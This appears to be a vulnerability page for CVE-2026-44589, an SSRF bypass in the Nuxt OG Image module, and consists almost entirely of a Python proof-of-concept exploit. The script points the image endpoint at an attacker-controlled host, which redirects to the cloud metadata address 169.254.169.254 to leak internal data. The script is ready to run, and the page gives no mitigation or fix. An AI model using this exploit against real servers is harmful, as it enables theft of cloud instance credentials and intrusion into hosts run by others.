CVE-2026-44589 Nuxt OG Image SSRF防护绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-44589 (SSRF Bypass via Redirect) This script simulates an attacker exploiting the missing redirect re-validation. """ import requests def exploit_ssrf(target_url, malicious_redirect_server): # The vulnerable endpoint expects a URL parameter for the OG image generation # Instead of a direct internal IP, we use an external domain that redirects payload_url = f"{malicious_redirect_server}/redirect_to_metadata" params = { "url": payload_url } try: print(f"[*] Sending request to {target_url} with payload: {payload_url}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful. Check if the image contains internal metadata.") # In a real scenario, analyze the image binary for leaked data else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable target target = "http://localhost:3000/__og-image__/image" # Attacker's server that returns 302 to http://169.254.169.254/latest/meta-data/ redirect_server = "http://attacker-controlled.com" exploit_ssrf(target, redirect_server)